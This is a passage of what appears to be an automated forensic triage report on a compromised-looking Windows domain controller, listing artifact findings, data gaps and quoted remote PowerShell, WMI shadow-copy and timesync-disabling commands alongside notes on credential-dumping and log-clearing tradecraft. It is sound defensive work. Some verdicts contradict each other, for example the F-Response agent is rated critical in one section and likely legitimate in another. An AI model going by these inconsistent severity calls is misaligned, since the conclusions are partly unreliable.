  5. **Analyze kernel driver — Hash and reverse-engineer Mnemosyne.sys.** Obtain the SHA-256 hash and digital signature status of C:\windows\Mnemosyne.sys; submit for reverse engineering and threat-intel correlation. Search EVTX for driver load events (7045, 5038, Sysmon Event ID 6) around 2018-09-07T20:30:59Z.
  6. **Investigate staging server — Image 10.10.10.10.** Identify and forensically acquire the internal host at 10.10.10.10 to determine whether it is an attacker-controlled staging node or a legitimate repository; scan for the hex-path directories (1307d065, f9ab33c2, be5310f6) and related payloads.
  7. Audit GPO integrity — Inspect SYSVOL startup scripts. Extract and hash the contents of the Machine\Scripts\Startup folders under {FEA6F4E9-49E8-4B0A-8278-5917AA8CF0C7} and {31B2F340-016D-11D2-945F-00C04FB984F9}; compare against a known-good baseline to detect unauthorized or modified scripts.
  8. **Account investigation — Treat rsydow-a as compromised.** Review rsydow-a and spsql account privileges, recent password changes, and PAM/session logs. Force-reset rsydow-a credentials and revoke active sessions until the account is cleared. Verify whether rsydow-a is a legitimate incident-response account; even if legitimate, the activity pattern requires validation.
  9. Hunt for reinfection — Scan for recurrence. On BASE-DC and all fleet hosts, scan for recurrence of n.ps1, PowerSploit indicators, and additional mnemosyne-like drivers or services. Review Scheduled Tasks and WMI Event Subscriptions for unauthorized entries.
  10. Enhance monitoring — Close visibility gaps. Enable PowerShell Script Block Logging, process creation auditing (4688 with command-line arguments), and WMI-Activity logging on all remaining domain hosts to capture future tradecraft that this triage could not observe.

Per-Artifact Findings

Run/RunOnce Keys (runkeys) UNSPECIFIED
Record Count 2
Time Range Start 2018-04-25T20:10:54.003075
Time Range End 2018-05-08T22:09:50.425686

Nothing suspicious was detected in the Run/RunOnce registry data for BASE-DC.

Data Gaps

  • Very low autorun volume: Only 2 entries (row 1 and row 3) were recovered for a Domain Controller, which is insufficient to rule out machine-wide or user-level persistence. This may indicate limited collection scope or that the attacker used alternative persistence mechanisms (e.g., Services, Scheduled Tasks, WMI Event Subscriptions, Logon Scripts).
  • No user-scoped (HKCU) coverage: Both entries are under HKEY_LOCAL_MACHINE; no user-specific Run/RunOnce keys were captured. The empty username field offers no attribution, and it is unclear whether HKCU keys were absent or simply not collected.
  • Narrow time window: The observed timestamps span only 2018-04-25 to 2018-05-08. Modifications, additions, or deletions outside this range cannot be assessed from this artifact alone.
  • No tamper detection: This artifact cannot reveal whether registry entries were cleared or deleted by an attacker. A timeline analysis or comparison against a known-good baseline would be needed to identify such anti-forensic activity.
  • Missing corroborating fields: The records lack fields such as last-modified registry timestamps (other than the captured ts), security descriptors, or user SIDs that could help identify unauthorized modifications.
Scheduled Tasks (tasks) MEDIUM
Record Count 333
Time Range Start 2005-06-23T21:48:00
Time Range End 2026-06-13T06:11:35.494396

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] VSS shadow-copy creation task running as System and authored by domain user shieldbase\rsydow-a present in both modern and legacy Task Scheduler stores.
  • Evidence: row_ref 4 (task_path: C:\Windows\system32\tasks\ShadowCopyVolume{1d1e6558-0000-0000-0000-501f00000000}, author: shieldbase\rsydow-a, user_id: System, command: C:\Windows\system32\vssadmin.exe, arguments: Create Shadow /AutoRetry=15 /For=\\?\Volume{1d1e6558-0000-0000-0000-501f00000000}\); row_ref 367 (task_path: C:\Windows\tasks\ShadowCopyVolume{1d1e6558-0000-0000-0000-501f00000000}.job, author: shieldbase\rsydow-a, same command/arguments).
  • Why it matters: On a Domain Controller, unauthorized VSS snapshots are a common precursor to NTDS.dit extraction, credential harvesting, or ransomware staging. A domain user authoring a SYSTEM-privileged shadow-copy task is atypical and high-risk.
  • Alternative explanation: A systems administrator or backup tool may have legitimately created the task for volume backup.
  • Verify: Correlate with Security EVTX logon events for shieldbase\rsydow-a, review VSS operational events (Event ID 8225/8224), and confirm whether this task matches any authorized backup solution.

Data Gaps

  • Trigger details (on-boot, on-logon, schedule) are absent for nearly all tasks, preventing assessment of persistence timing or trigger-based anomalies.
  • last_run_date is empty for every record, so historical execution of any task—including the shadow-copy task—cannot be determined from this artifact alone.
  • Creation/modification dates are missing for the majority of tasks (including the suspicious shadow-copy task), limiting timeline correlation.
  • No encoded commands, PowerShell, or non-standard binaries were observed in the task actions, but this artifact alone cannot rule out other persistence or execution mechanisms.
  • The legacy .job file (row_ref 367) lacks parseable metadata (date, user_id, run level), leaving its precise origin and registration method unclear.
  • Correlation with Windows Security Event Log (Event IDs 4698/4702) and TaskScheduler Operational logs is needed to confirm when tasks were registered, modified, or deleted.
Services (services) HIGH
Record Count 532
Time Range Start 2018-04-25T20:11:00.779572
Time Range End 2018-09-07T20:36:44.447536

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Unattributed kernel device driver named "mnemosyne" registered from C:\windows\Mnemosyne.sys.
  • Evidence: row_ref 205, ts 2018-09-07T20:30:59.898458+00:00, name=mnemosyne, displayname=mnemosyne, imagepath=\??\C:\windows\Mnemosyne.sys, type=Kernel Device Driver (0x1), start=Manual (3), description=(blank), _dedup_comment=Deduplicated 1 records with matching event data and different timestamp/ID.
  • Why it matters: A non-standard kernel driver in the Windows root directory with a mythological name, no vendor description, and a single recent registry record is a hallmark of rootkits or custom malicious tooling that could enable persistent kernel-level compromise and credential access.
  • Alternative explanation: None plausible; no legitimate Windows or common third-party hardware driver uses this name and path.
  • Verify: Obtain the SHA-256 hash and digital signature of C:\windows\Mnemosyne.sys, and examine a memory dump or live kernel module list to confirm whether the driver is loaded.
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Auto-start service "F-Response Subject" running as LocalSystem with a hardcoded outbound connection to an internal host on TCP/5682.
  • Evidence: row_ref 117, ts 2018-09-06T22:11:15.418865+00:00, name=F-Response Subject, imagepath=C:\windows\subject_srv.exe, imagepath_args="-s ""base-hunt.shieldbase.lan:5682"" -l 3262 -v ""F-Response Subject"" -k ""155522845""", objectname=LocalSystem, start=Auto Start (2), type=Service - Own Process (0x10).
  • Why it matters: The service provides persistent SYSTEM-level execution and an encrypted backchannel to an internal server, which is functionally equivalent to a remote-access Trojan if deployed by an adversary.
  • Alternative explanation: This is likely the legitimate F-Response forensic acquisition agent (note the target hostname base-hunt.shieldbase.lan and the cdrive system naming convention), but this is not confirmed in the provided investigation context.
  • Verify: Confirm with the investigation team whether F-Response was authorized on this host; if authorized, document it as forensic tooling, otherwise capture the binary and network logs immediately.

Data Gaps

  • Service installation history missing: No EVTX Event ID 7045 records are present to determine exactly when the mnemosyne driver or the F-Response service were first registered or by which account.
  • Large timeline void: The artifact spans 2018-04-25 to 2018-09-07 but contains virtually no intermediate service-change events; deduplication removed 1,579 rows, potentially obscuring historical state transitions (e.g., a service changing from Manual to Auto Start).
  • Binary provenance unverifiable: File system metadata (MFT, $LogFile), PE signatures, and compiler timestamps for C:\windows\Mnemosyne.sys and C:\windows\subject_srv.exe are not available in this artifact, so their authenticity and origin cannot be assessed.
  • Runtime state unknown: Memory analysis is unavailable, so it cannot be determined whether the mnemosyne driver is currently loaded, or whether the F-Response service has active or recent network connections.
  • Correlating artifacts absent: Scheduled Tasks, Amcache, ShimCache, and Windows Defender/ Sysmon execution logs are not included, limiting the ability to identify how these services were introduced or what other tools may have run in proximity to their installation.
Shimcache (shimcache) HIGH
Record Count 595
Time Range Start 1601-01-01T00:00:00
Time Range End 2018-09-05T21:23:40.268000

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Unknown executable subject_srv.exe present in the Windows directory.
  • Evidence: row_ref 1, last_modified 2018-04-10T19:29:48+00:00, path C:\windows\subject_srv.exe.
  • Why it matters: A non-standard binary in a sensitive system directory on a Domain Controller is a strong indicator of a dropped payload or unauthorized persistence.
  • Alternative explanation: Custom administrative utility intentionally placed by an administrator.
  • Verify: Obtain the file hash, submit for analysis, and search Prefetch/Amcache/EVTX (Event IDs 4688, 4663) for execution evidence around 2018-04-10.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Sysinternals Autorunsc.exe found in the Windows root directory.
  • Evidence: row_ref 59, last_modified 2018-08-15T17:10:22.681261, path C:\Windows\Autorunsc.exe.
  • Why it matters: Attackers commonly use Autoruns to discover or establish persistence; placing the tool in C:\Windows deviates from standard administrative practice and may indicate on-disk reconnaissance.
  • Alternative explanation: Administrator copied the utility to a standard path for convenience.
  • Verify: Check process creation logs (EVTX 4688) and surrounding Prefetch/Amcache entries for execution around mid-August 2018.
  • [SEVERITY: MEDIUM] [CONFIDENCE: LOW] Extensive Windows Driver Kit (WDK) and kernel debugging tools installed on the Domain Controller.
  • Evidence: row_refs 273–345, including C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbg.exe (row_ref 329, 2018-04-11T11:56:44+00:00), gflags.exe (row_ref 330), and C:\Users\Administrator\Downloads\wdksetup.exe (row_ref 345, 2018-05-18T21:57:20.107330+00:00).
  • Why it matters: Kernel debuggers and driver development utilities are atypical on a production DC and could facilitate privilege escalation, driver-based persistence, or rootkit activity.
  • Alternative explanation: The host is a lab or hybrid development server.
  • Verify: Audit software installation logs (MSI/Event ID 11707/1033) and determine if the WDK installation was authorized.

IOC Status

No explicit IOCs were provided in the investigation context.

Data Gaps

  • Shimcache records file presence and modification timestamps but does not confirm execution; Prefetch, Amcache, and Windows Event Logs (4688, 4663) are required to verify whether subject_srv.exe, Autorunsc.exe, or WDK tools were actually launched.
  • Command-line arguments and parent process information are absent from Shimcache, preventing assessment of intent or execution context.
  • The dataset is deduplicated (1,785 duplicate rows removed), so earlier instances of files that may have been deleted are not visible, potentially hiding attacker tool staging.
  • No evidence of artifact tampering or log clearing is observable in Shimcache alone; an absence of expected event logs cannot be determined from this artifact.
  • Shimcache does not attribute entries to a specific user session, limiting lateral-movement or privilege-escalation analysis.
Amcache (amcache) MEDIUM
Record Count 1088
Time Range Start 2018-04-20T17:43:47.821169
Time Range End 2018-09-07T20:43:32.264677

Findings

  • [SEVERITY: LOW] [CONFIDENCE: MEDIUM] Windows Driver Kit (WDK) and native debuggers are installed on the Domain Controller, providing built-in capability for credential access (e.g., LSASS memory dumping).
  • Evidence: WDK package entries with install_date 2018-05-18T00:00:00+00:00 (row_ref 587, 588) and 2018-05-18T22:40:12+00:00 (row_ref 615); debugger binaries including cdb.exe (row_ref 48–51), kd.exe (row_ref 165–168), ntsd.exe (row_ref 259–262), and windbg.exe (row_ref 543–546) located under c:\program files (x86)\windows kits\10\debuggers\.
  • Why it matters: These signed Microsoft tools can attach to LSASS or kernel memory to extract credentials without requiring attacker-supplied malware, lowering the barrier for credential access if an adversary gains administrative privileges.
  • Alternative explanation: The tools were likely installed legitimately for driver development, troubleshooting, or as a dependency of another software package.
  • Verify: Cross-reference Prefetch, Shimcache, and Windows Security Event ID 4688 / Sysmon logs around the suspected incident window to confirm whether any of these debuggers were executed, attached to LSASS, or used to write memory dumps.

Data Gaps

  • Execution cannot be confirmed from this artifact alone. Amcache inventories files and install dates but does not record execution time, command-line arguments, parent process, or user context. Prefetch, Shimcache, ETW, and Event Logs are required to determine if any inventoried binaries were actually run.
  • No explicit incident timeframe was provided. Without a suspected compromise window, temporal correlation is limited to the coarse install date clustering observed (e.g., 2018-05-18 WDK installation).
  • Threat intel correlation was not performed. SHA-1 hashes are present (e.g., debuggers, WDK components, McAfee, VMware Tools), but this analysis cannot confirm or deny whether any hash matches known malicious tooling.
  • Negative evidence is not conclusive. Absence of Mimikatz, PsExec, or other classic intrusion tooling in this Amcache snapshot does not rule out their use; they may have been executed from non-standard paths, run in memory, deleted, or simply not inventoried here.
  • Metadata gaps limit anomaly detection. Numerous legitimate WDK and VMware binaries have blank publisher, version, or product_name fields (e.g., row_ref 55, 138, 209, 317, 432), which is common for internal build artifacts but prevents strong confidence in metadata-based outlier detection.
  • Log tampering cannot be assessed. Amcache does not contain evidence of event log clearing, antiforensics, or timeline gaps; those assessments require examining the Windows Event Log files, USN journal, and MFT directly.
UserAssist (userassist) MEDIUM
Record Count 86
Time Range Start 1601-01-01T00:00:00
Time Range End 2018-09-07T20:30:46.681000

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] User account rsydow-a executed an interactive GUI session on the Domain Controller involving multiple system-administration and LOLBin tools—rundll32.exe, PowerShell, regedit.exe, and services.msc—clustered across 2018-08-16/17, with an additional services.msc launch on 2018-09-07, consistent with hands-on post-exploitation activity.
  • Evidence: rundll32.exe launched 2018-08-16T21:48:37.382999+00:00 (row_ref 30, 1 execution, 0 focus duration); powershell.exe launched 2018-08-16T22:10:54.309000+00:00 (row_ref 21, 7 executions, 92 focus counts, 20,724,431 ms focus duration); regedit.exe launched 2018-08-17T00:34:12.549999+00:00 (row_ref 27, 2 executions, 4 focus counts); services.msc launched 2018-09-07T20:30:46.681000+00:00 (row_ref 8, 5 executions). Explorer.exe was also launched 2018-08-16T22:32:35.331999+00:00 (row_ref 14) during the same window, confirming an active interactive desktop session.
  • Why it matters: Clustered interactive use of LOLBins (rundll32), script hosts (PowerShell), and system management consoles on a DC by a named user account is a hallmark of post-exploitation reconnaissance, privilege escalation attempts, or persistence staging.
  • Alternative explanation: The account may be a systems administrator performing legitimate maintenance; however, the combination of rundll32 via Explorer and an extended PowerShell focus duration (>5 hours aggregated) is atypical for routine GUI-driven administrative work.
  • Verify: Correlate with Security Event Log event IDs 4624/4625/4634 for rsydow-a interactive logon sessions on the evenings of 2018-08-16 and 2018-09-07, and ingest PowerShell operational/script-block logs to identify executed commands.

Data Gaps

  • Execution blind spot: UserAssist records only Explorer/GUI-launched binaries. Command-line, service, scheduled-task, WMI, and remote (e.g., PSExec, WinRM) execution are not captured, leaving no visibility into potential command-line invocation of credential-access tools such as Mimikatz or Procdump.
  • Placeholder timestamps limit timeline fidelity: 39 of 86 records (45 %) carry the null timestamp 1601-01-01T00:00:00+00:00 (e.g., row_refs 6, 10, 38), preventing precise dating of historical activity, including high-focus-count cmd.exe and dsa.msc usage by rsydow-a.
  • Privilege context unknown: No elevation or UAC data is present in this artifact. It cannot be determined whether rsydow-a’s executions ran with standard-user or administrative rights.
  • Missing user profiles: Only two user hives (Administrator and rsydow-a) appear in the artifact. In a multi-host enterprise environment, the absence of other expected interactive admin or service-account profiles may indicate limited interactive logon, profile cleanup, or unmounted hives.
  • No direct evidence of tampering: While the artifact itself shows no obvious truncation or deletion patterns, UserAssist values are user-modifiable and can be cleared; a lack of records for other time periods or accounts cannot be confirmed as a true negative without comparing against expected baseline profiles and registry transaction logs.
  • Lateral movement and exfiltration: This artifact provides no network, authentication, or file-access telemetry; lateral movement and data staging cannot be assessed from UserAssist alone.
Browser History (browser.history) HIGH
Record Count 35
Time Range Start 2018-05-08T02:05:22.959379
Time Range End 2018-09-07T20:56:01.441032

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Administrator account on the Domain Controller retrieved archives and executables from an internal host (10.10.10.10) via obfuscated hex-path directories using Internet Explorer.
  • Evidence: row 23 (2018-05-10T20:39:50.378576+00:00, url http://10.10.10.10/1307d065/), row 30 (2018-05-10T20:40:08.659748+00:00, url http://10.10.10.10/1307d065/PDO-Users.yaml), row 29 (2018-05-18T21:57:19.560495+00:00, url http://10.10.10.10/f9ab33c2/wdksetup.exe), row 26 (2018-05-18T21:57:19.638525+00:00, url http://10.10.10.10/f9ab33c2/), row 25 (2018-05-18T22:05:45.015902+00:00, url http://10.10.10.10/be5310f6), row 27 (2018-05-18T22:19:55.508799+00:00, url http://10.10.10.10/be5310f6/WDK.zip.MD5), row 24 (2018-05-18T22:19:58.555943+00:00, url http://10.10.10.10/be5310f6/WDK.zip), row 28 (2018-05-18T22:19:58.587164+00:00, url http://10.10.10.10/be5310f6/).
  • Why it matters: A DC browsing to a raw internal IP with randomized hex directory names to download executables, compressed archives, and YAML user files is highly anomalous and consistent with unauthorized tool staging or attacker-driven data collection.
  • Alternative explanation: 10.10.10.10 could be an undocumented internal software repository or staging server.
  • Verify: Identify the asset owner of 10.10.10.10 via DHCP/DNS; perform malware analysis on downloaded WDK.zip and wdksetup.exe; review network/proxy logs for related sessions.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Downloaded WDK.zip archive was accessed locally in the Administrator Downloads folder within seconds of the HTTP retrieval, confirming successful payload delivery.
  • Evidence: row 24 (2018-05-18T22:19:58.555943+00:00, http://10.10.10.10/be5310f6/WDK.zip, username Administrator) and row 21 (2018-05-18T22:20:03.071899+00:00, file:///C:/Users/Administrator/Downloads/WDK.zip, username Administrator).
  • Why it matters: The 5-second interval between remote download and local file access confirms the archive landed in the privileged Administrator profile on the DC, where it could be extracted and executed.
  • Alternative explanation: Administrator manually downloaded a legitimate Windows Driver Kit.
  • Verify: Forensically acquire C:\Users\Administrator\Downloads\WDK.zip; compare its hash to the MD5 retrieved at row 27; scan contents for malicious drivers or post-exploitation tools.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Reconnaissance-oriented local file browsing of account inventories, workstation lists, audit policies, and security logs by both Administrator and rsydow-a.
  • Evidence: row 20 (2018-05-10T20:34:14.117620+00:00, file:///C:/Users/Administrator/Desktop/ShieldbaseUserAccounts.txt, Administrator), row 3 (2018-07-06T01:45:01.409742+00:00, file:///C:/Users/rsydow-a/Documents/srl-workstations.txt), row 5 (2018-07-06T01:44:42.331860+00:00, file:///C:/Users/rsydow-a/Documents/srl-all.txt), row 4 (2018-07-13T13:56:23.404779+00:00, file:///C:/Users/rsydow-a/Documents/audit-policy-from-default-GPO.txt), row 7 (2018-07-06T22:12:24.552420+00:00, file:///C:/Users/rsydow-a/Documents/srl-test_hunt-admin.txt), row 6 (2018-08-08T23:55:58.953497+00:00, file:///C:/Windows/System32/winevt/Logs/Archive-Security-2018-08-08-08-57-05-737.evtx). Notably, row 20 occurred approximately 5 minutes before the first 10.10.10.10 contact (row 23).
  • Why it matters: Patterned access to user lists, workstation inventories, audit configurations, and archived security logs via browser is consistent with pre-attack reconnaissance or data staging.
  • Alternative explanation: rsydow-a may be a legitimate security analyst (filenames reference "hunt" and "audit"); Administrator may have been performing routine account reviews.
  • Verify: Validate rsydow-a's authorized role; correlate access times with authentication and process creation logs; inspect whether these files were attacker-created or legitimate admin documents.
  • [SEVERITY: LOW] [CONFIDENCE: MEDIUM] Direct browser access to a SYSVOL-based Group Policy startup script.
  • Evidence: row 22 (2018-05-14T02:58:16.895504+00:00, file://shieldbase.lan/sysvol/shieldbase.lan/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/Machine/Scripts/Startup/InstallOffice365.txt, Administrator).
  • Why it matters: Inspection of GPO startup scripts can precede or accompany persistence modifications in a domain environment.
  • Alternative explanation: Routine administrative review of domain logon scripts.
  • Verify: Review GPO change history for the referenced policy; compare current and baseline versions of InstallOffice365.txt.

Data Gaps

  • Sparse history: Only 35 IE records across 4 months is unusually low for a production DC; this may indicate history clearing, private browsing, limited collection scope, or predominant use of non-IE browsers not captured here.
  • Missing correlation fields: title, host, visit_type, typed, hidden, and from_url are entirely empty across all records, preventing referer chain analysis, distinction between typed vs. linked URLs, and site categorization.
  • No HTTPS or C2 indicators: This artifact captures no HTTPS traffic, paste sites, or known malicious domains; absence of these does not rule out compromise via other channels.
  • Execution unknown: Browser history cannot confirm whether downloaded files (wdksetup.exe, WDK.zip) were executed; execution artifacts (Prefetch, ShimCache, EDR telemetry) are required.
  • Host identity: The purpose and legitimacy of internal host 10.10.10.10 cannot be determined from this artifact alone; network/DHCP/DNS and asset inventory are needed.
  • rsydow-a context: No authentication or process data is present to determine if the rsydow-a file access sessions were interactive user sessions or attacker-abused credentials.
Browser Downloads (browser.downloads) HIGH
Record Count 2
Time Range Start 2018-05-18T21:57:38.243967
Time Range End 2018-05-18T22:20:08.431698

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Administrator account on the Domain Controller downloaded an executable and a ZIP archive from an internal IP hosting randomized hex path segments over unencrypted HTTP.
  • Evidence:
  • row_ref 1, ts_end 2018-05-18T21:57:38.243967+00:00, browser iexplore, path C:\Users\Administrator\Downloads\wdksetup.exe, url http://10.10.10.10/f9ab33c2/wdksetup.exe, username Administrator.
  • row_ref 2, ts_end 2018-05-18T22:20:08.431698+00:00, browser iexplore, path C:\Users\Administrator\Downloads\WDK.zip, url http://10.10.10.10/be5310f6/WDK.zip, username Administrator.
  • Why it matters: Domain Controllers should not be used for interactive web browsing or downloading executables/archives; coupling that with non-standard randomized URL directories on an internal host (10.10.10.10) is highly anomalous and consistent with an adversary staging tooling or payloads on a high-value target.
  • Alternative explanation: A legitimate administrator may have manually downloaded the Windows Driver Kit from an internal file server that uses hex-encoded folder names.
  • Verify: Inspect Prefetch/Amcache for execution of wdksetup.exe; carve/analyze WDK.zip contents; review proxy/web logs for 10.10.10.10; search other hosts for downloads from these same URL paths.

IOC Status

No explicit IOCs were provided in the investigation context.

Data Gaps

  • ts_start is empty for both records, so the exact download initiation time is unknown.
  • size and state are empty; cannot confirm whether downloads completed successfully or what the expected file sizes were.
  • No execution artifacts (Prefetch, Amcache, Sysmon, EDR telemetry) are included, so it is unknown whether the downloaded files were launched or extracted.
  • File contents of WDK.zip cannot be determined from this artifact alone.
  • The dataset covers only a 22-minute window on 2018-05-18; absence of earlier or later browser activity may reflect limited collection rather than no activity.
PowerShell History (powershell_history) HIGH
Record Count 291
Time Range Start 2018-09-07T16:44:45.601460
Time Range End 2018-09-07T16:44:45.601460

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Mass Volume Shadow Copy creation, resizing, and enumeration executed across the majority of the fleet via WMI and Invoke-Command.
  • Evidence: wmic /node:172.16.6.13 shadowcopy call create volume=C:\ (row 66), wmic /node:172.16.6.12 shadowcopy call create volume=C:\ (row 70), wmic /node:172.16.6.11 shadowcopy call create volume=C:\ (row 74), wmic /node:172.16.6.14 shadowcopy call create volume=C:\ (row 81), wmic /node:172.16.7.11 shadowcopy call create volume=C:\ (row 86), wmic /node:172.16.7.15 shadowcopy call create volume=C:\ (row 94), wmic /node:172.16.6.15 shadowcopy call create volume=C:\ (row 212), wmic /node:172.16.7.12 shadowcopy call create volume=C:\ (row 214), Invoke-Command -command {vssadmin resize shadowstorage...} -ComputerName base-rd-03 (row 58), and similar patterns on base-rd-01, base-rd-02, base-rd-04, base-rd-05, base-rd-06, base-wkstn-01 through base-wkstn-06 (rows 57–59, 67–80, 83, 92–93, 200–211). Extensive enumeration via wmic ... shadowcopy list brief and Get-CimInstance win32_ShadowCopy repeated throughout (e.g., rows 65, 71, 75, 82, 87, 95, 110–114, 117–120, 128, 130, 168, 220–223, 250–254, 277–283, 284, 285, 286, 291). All commands attributed to rsydow-a with mtime 2018-09-07T16:44:45.601460+00:00.
  • Why it matters: Large-scale VSS manipulation is a hallmark of ransomware staging, volume-level data theft, or anti-forensic snapshot deletion. The breadth of hosts targeted indicates compromise of a highly privileged account or unauthorized administrative action.
  • Alternative explanation: An incident responder intentionally creating snapshots before remediation.
  • Verify: Inspect Windows System event logs (VSS 8224, 8230) and vssadmin list shadows outputs on the targeted hosts to determine if snapshots were created, exported, or deleted shortly after these commands.
  • **[SEVERITY: HIGH] [CONFIDENCE: HIGH] VMware time synchronization mass-disabled across all hosts listed in srl-all.txt.**
  • Evidence: Invoke-Command -ComputerName $computer -Command {& 'C:\Program Files\VMware\VMware Tools\VMwareToolboxCmd.exe' timesync disable} (row 194), preceded by status checks (rows 193, 195). User rsydow-a, mtime 2018-09-07T16:44:45.601460+00:00.
  • Why it matters: Disabling VM time synchronization is a known anti-forensic technique to desynchronize logs across hosts, complicate timeline analysis, and facilitate Kerberos ticket attacks (e.g., golden ticket) by allowing clock skew.
  • Alternative explanation: Extremely rare legitimate troubleshooting for time-drift issues in a virtual environment.
  • Verify: Check current time sync state on hosts; review VMware Tools logs; correlate with subsequent Kerberos pre-authentication failures (Event ID 4771) or anomalous TGT requests.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Critical servers remotely rebooted without documented maintenance context.
  • Evidence: invoke-command -command {Restart-Computer} -computer base-mail (row 247), Restart-Computer -ComputerName base-file (rows 287–288). User rsydow-a, mtime 2018-09-07T16:44:45.601460+00:00.
  • Why it matters: Rebooting a file server and mail server during an active compromise window can disrupt evidence collection, clear volatile memory, or be part of a destructive attack.
  • Alternative explanation: Emergency patching or outage recovery.
  • Verify: Validate against change-control tickets and inspect Event ID 1074/6008 logs on base-mail and base-file for shutdown reason and initiating user context.
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Remote Registry service enabled and started on multiple hosts.
  • Evidence: start-service remoteregistry via Invoke-Command (rows 30–31, 35), local start-service remoteregistry during PSSession to base-rd-01 (rows 156, 158), and get-service remoteregistry checks (rows 29, 32, 34, 138, 142, 156). User rsydow-a, mtime 2018-09-07T16:44:45.601460+00:00.
  • Why it matters: Remote Registry is frequently enabled by attackers to facilitate remote configuration changes, persistence, and credential harvesting (e.g., dumping SAM/SECURITY hives).
  • Alternative explanation: Legitimate administrative task for remote system management or Group Policy troubleshooting.
  • Verify: Audit Security event logs for Remote Registry access (Event ID 5145) and review registry changes on affected systems around this timeframe.
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Security and Sysmon event logs remotely queried across multiple hosts, suggesting reconnaissance of logging coverage.
  • Evidence: Invoke-Command -command {get-winevent -LogName Security -oldest -maxevents 1} -ComputerName base-rd-03 (row 121), base-rd-04 (row 122), base-rd-01 (row 123), base-wkstn-01 (row 124), base-wkstn-05 (row 165), base-rd-03 again (rows 169, 173, 174). Sysmon queried on base-wkstn-05: Get-WinEvent -filterhashtable @{logname="Microsoft-Windows-Sysmon/Operational";id=1} ... (row 131). User rsydow-a, mtime 2018-09-07T16:44:45.601460+00:00.
  • Why it matters: Attackers often probe log availability before clearing evidence or adjusting tradecraft to evade detection.
  • Alternative explanation: Incident responders verifying centralized log collection.
  • Verify: Cross-reference with authorized IR playbooks or SOC tickets; check if Clear-EventLog, wevtutil cl, or suspicious Event ID 1102/104 entries follow these queries.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Hibernation enabled and pagefile inspected on a remote workstation, consistent with memory-credential staging.
  • Evidence: During an Enter-PSSession to base-wkstn-05: powercfg.exe /h on (row 106), Get-Childitem c:\pagefile.sys (row 144), and Get-Childitem -attributes hidden c:\ on base-wkstn-05, base-wkstn-01, base-rd-01, and base-rd-04 (rows 147–150). User rsydow-a, mtime 2018-09-07T16:44:45.601460+00:00.
  • Why it matters: Enabling hibernation creates hiberfil.sys, which can contain process memory and credential material; inspecting pagefiles and hidden files is consistent with credential-access or data-staging behavior.
  • Alternative explanation: DFIR analyst collecting memory artifacts.
  • Verify: Check for existence of hiberfil.sys on base-wkstn-05; determine if memory dumps or pagefile copies were exfiltrated.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Google Update directories renamed and update services manipulated across workstations.
  • Evidence: Invoke-Command ... {Rename-Item 'C:\Program Files (x86)\Google\Update-DISABLED' 'C:\Program Files (x86)\Google\Update'} (row 26), Start-Service gupdate (rows 30–31, 33), Start-Service gupdatem (row 35). User rsydow-a, mtime 2018-09-07T16:44:45.601460+00:00.
  • Why it matters: Manipulating auto-update mechanisms can prevent security patches or maintain a stable environment for persistent malware.
  • Alternative explanation: Re-enabling Google Update after a prior disablement.
  • Verify: Review change-management records; inspect C:\Program Files (x86)\Google\Update for unauthorized binaries.

Data Gaps

  • No per-command timestamps: All 291 records share the identical mtime (2018-09-07T16:44:45.601460+00:00), which is the file modification time of the PSReadLine history file, not individual command execution times. While the order column establishes sequence, inter-command timing and exact execution windows are unknown.
  • No command output or status: The history records input only; it is impossible to determine if remote commands succeeded, failed, or what data they returned.
  • Authorization context missing: There is no evidence in this artifact confirming whether rsydow-a is a legitimate incident-response account or a compromised identity. Correlation with HR/identity records and privileged-access management logs is required.
  • Host list contents unknown: The files srl-all.txt, srl-workstations.txt, and srl-test_hunt-admin.txt are referenced but their contents are not provided, preventing full scoping of the target list.
  • Absence of direct credential-access tooling: No Mimikatz-style commands, encoded payloads, or known credential-dumping binaries were observed in this history; however, the remote VSS and hibernation/pagefile activity may indicate credential-access activity performed via other means.
  • Corroborating artifacts needed: Precise triage requires correlated Windows Security Event Logs (4624, 4648, 4672, 4697), PowerShell operational logs (Event IDs 4103/4104), WMI-Activity logs, Sysmon process creation events on target hosts, and the contents of the ConsoleHost_history.txt file from other systems (especially base-hunt, base-admin, and base-rd-03).
Automatic Jump Lists (jumplist.automatic_destination) HIGH
Record Count 43
Time Range Start 2018-05-10T20:34:14.055113
Time Range End 2018-09-07T20:56:01.394264

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Account-enumeration file named "ShieldbaseUserAccounts.txt" resided on the Administrator desktop and was opened in Notepad.
  • Evidence: Row 32 (C:\Users\Administrator\Desktop\ShieldbaseUserAccounts.txt, target mtime 2018-04-26T02:02:06.556459+00:00); Row 34 (Notepad 64-bit opening the same file, lnk_ctime 2018-04-26T02:02:06.458036+00:00, target mtime 2018-04-26T02:02:06.556459+00:00).
  • Why it matters: A file explicitly named as a domain user account list on the DC Administrator desktop is strong evidence of credential harvesting to enable lateral movement or privilege escalation.
  • Alternative explanation: Legitimate administrator exporting accounts for an audit, migration, or inventory.
  • Verify: Recover the file from disk or MFT to confirm contents; review Security event logs (Event IDs 4661/4663/4670) around 2018-04-26T02:02:06Z for account enumeration activity.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Administrator account accessed Group Policy startup script folders in SYSVOL for two domain GPOs via Windows Explorer.
